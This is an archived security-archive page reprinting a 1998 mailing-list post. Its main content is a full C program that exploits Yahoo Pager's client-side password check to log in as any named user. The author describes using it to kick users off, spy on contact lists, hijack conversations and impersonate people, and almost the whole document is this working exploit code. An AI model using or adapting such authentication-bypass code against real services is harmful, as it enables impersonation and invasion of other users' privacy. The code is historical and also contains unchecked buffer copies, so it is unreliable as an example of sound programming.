TUCoPS :: Password Security :: yahoo!2.txt

Yahoo Pager relies on the client side to do password verification. Here's some code that exploits this rather enormous hole.

[ http://www.rootshell.com/ ]

From douglas@min.net Sun Aug  2 18:48:44 1998
Date: Sun, 2 Aug 1998 20:56:16 -0400 (EDT)
From: D. Winslow <douglas@min.net>
To: www-request@rootshell.com
Subject: Yahoo Pager insecurity


/*
   Yahoo Pager Client Emulator Thing - yp.c
   Douglas Winslow <douglas@min.net>
   Sun Aug  2 20:55:11 EDT 1998
   Known to compile on Linux 2.0, FreeBSD 2.2, and BSDi 3.0.
   hi to aap bdc drw jfn jrc mm mcd [cejn]b #cz and rootshell

    Yahoo Pager seems to trust the client-side to do password
    verification.  That's just plain sad.  All you need to
    supply is a username to bump people off, spy on contact
    lists, hijack conversations, impersonate people, etc.

    I know some of this is sleazy code..  I apologise, as it
    was written more out of haste than thought.  Obviously,
    don't expect this to work after they've patched their
    server-side.  Here are a few notes to get you started:

    Contact list update format:
    nick(cur_mode,session_id?,ip_addr,is_on,is_off?,direct_conn?)
    Example: "monica(2,B37F6832,5AF089C6,1,0,0)"

    Multiple contact list updates begin with "x,".
    Example: "3,monica(...),bill(...),janetreno(...)"

    The rest of the server responses are rather straightforward;
    I'll leave those up to you.  ;>
*/

#include <stdio.h>
#include <netdb.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define YP_SERV "cs3.yahoo.com"
#define YP_PORT 5050

char    xmt[1128], buffer[38];
int     flag, k, s;

void yparse();

void main(int argc, char *argv[])
{
        char    mesg[1024], tmp[38], to[38];
        int     i, n, out, port;
        struct  sockaddr_in     serv_addr;
        struct  hostent         *server;

        if (argc > 1) strncpy(tmp, argv[1], 36);
        else
        {
                printf("Log on as? ");
                fgets(tmp, 36, stdin);
                tmp[strlen(tmp) - 1] = 0;
        }

        if (!strlen(tmp)) exit(1);

        memset(xmt, 0, sizeof(xmt));
        strcpy(xmt, "YPNS1.1");
        xmt[8] = 104;
        xmt[9] = 3;
        xmt[12] = 1;    /* Service: Logon */
        for (i=32; i < strlen(tmp) + 32; i++)
        {
                xmt[i] = tmp[i - 32];
                xmt[i + 36] = tmp[i - 32];
                xmt[i + 72] = tmp[i - 32];
        }

        port = YP_PORT;
        server = gethostbyname(YP_SERV);
        if (!server)
        {
                fprintf(stderr, "** Can't resolve \"%s\"\n", YP_SERV);
                exit(1);
        }

        s = socket(AF_INET, SOCK_STREAM, 0);
        bzero(&serv_addr, sizeof(serv_addr));
        serv_addr.sin_family = AF_INET;
        bcopy(server->h_addr, &serv_addr.sin_addr.s_addr,
                server->h_length);
        serv_addr.sin_port = htons(port);

        if (connect(s, &serv_addr, sizeof(serv_addr)) < 0)
        {
                perror("** Unable to connect to remote host");
                exit(1);
        }

        printf("** Attempting to log on as \"%s\"\n", tmp);
        out = write(s, xmt, sizeof(xmt));
        printf("** Sent %i bytes...\n", out);
        flag = fcntl(s, F_GETFL, 0);
        flag |= O_NONBLOCK;
        fcntl(s, F_SETFL, flag);
        printf("** Type \"msg\" to send an Instant Message.\n");

        while(1)
        {
                memset(buffer, 0, sizeof(buffer));
                memset(to, 0, sizeof(to));
                flag = fcntl(0, F_GETFL, 0);
                flag |= O_NONBLOCK;
                fcntl(0, F_SETFL, flag);
                fgets(to, 36, stdin);
                to[strlen(to) - 1] = 0;
                if (!strcmp(to, "msg"))
                {
                        flag = fcntl(0, F_GETFL, 0);
                        flag -= O_NONBLOCK;
                        fcntl(0, F_SETFL, flag);
                        memset(to, 0, sizeof(to));
                        printf(" To: ");
                        fgets(to, 36, stdin);
                        to[strlen(to) - 1] = 0;
                        if (strlen(to))
                        {
                                memset(mesg, 0, sizeof(mesg));
                                printf("Msg: ");
                                fgets(mesg, 1024, stdin);
                                mesg[strlen(mesg) - 1] = 0;
                                memset(xmt, 0, sizeof(xmt));
                                strcpy(xmt, "YPNS1.1");
                                xmt[8] = 104;
                                xmt[9] = 4;
                                xmt[12] = 6;    /* Service: Message */
                                for (i=32; i < strlen(tmp) + 32; i++)
                                {
                                        xmt[i] = tmp[i - 32];
                                        xmt[i + 36] = tmp[i - 32];
                                }
                                for (i=104; i < strlen(to) + 104; i++)
                                        xmt[i] = to[i - 104];
                                k = strlen(to) + 104;
                                xmt[k] = 44;
                                k++;
                                for (i=0; i < strlen(mesg); i++)
                                        xmt[i + k] = mesg[i];
                                out = write(s, xmt, sizeof(xmt));
                                printf("** Sent %i bytes\n", out);
                        }
                }
                if (!strcmp(to, "quit"))
                        exit(0);
                if (recv(s, buffer, 1, 0) > 0)
                        if (buffer[0] == 89) yparse();
                else sleep(1);
        }
}

void yparse()
{
        char    tmp[255], nick1[38], nick2[38], content[4096];
        int     len, service;

        recv(s, buffer, 31, 0);
        printf("\nServer Version: Y%s\n", buffer);
        sprintf(tmp, "%i", buffer[7]);
        len = atoi(tmp);
        if (len < 0) len += 255;
        service = buffer[11];
        printf(" Packet Length: %i\n", len);
        printf("  Service Type: (%i) ", service);
        recv(s, buffer, 36, 0);
        strncpy(nick1, buffer, 36);
        recv(s, buffer, 36, 0);
        strncpy(nick2, buffer, 36);
        recv(s, buffer, len, 0);
        memset(content, 0, sizeof(content));
        strncpy(content, buffer, len);
        if (service == 1)
                if (content[0] == 69) printf("Bad username; Goodbye");
                else printf("User logged on");
        if (service == 2)
                if (strlen(content)) printf("User logged off");
                else printf("Duplicate logins; Goodbye");
        if (service == 3) printf("User wandered away");
        if (service == 4) printf("User came back");
        if (service == 6) printf("Instant Message");
        if (service == 11) printf("You've got mail");
        if (service == 15) printf("Added you to their contact list");
        printf("\n   Actual User: %s\n", nick1);
        printf("   Active User: %s\n", nick2);
        printf("       Content: %s\n", content);
}

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH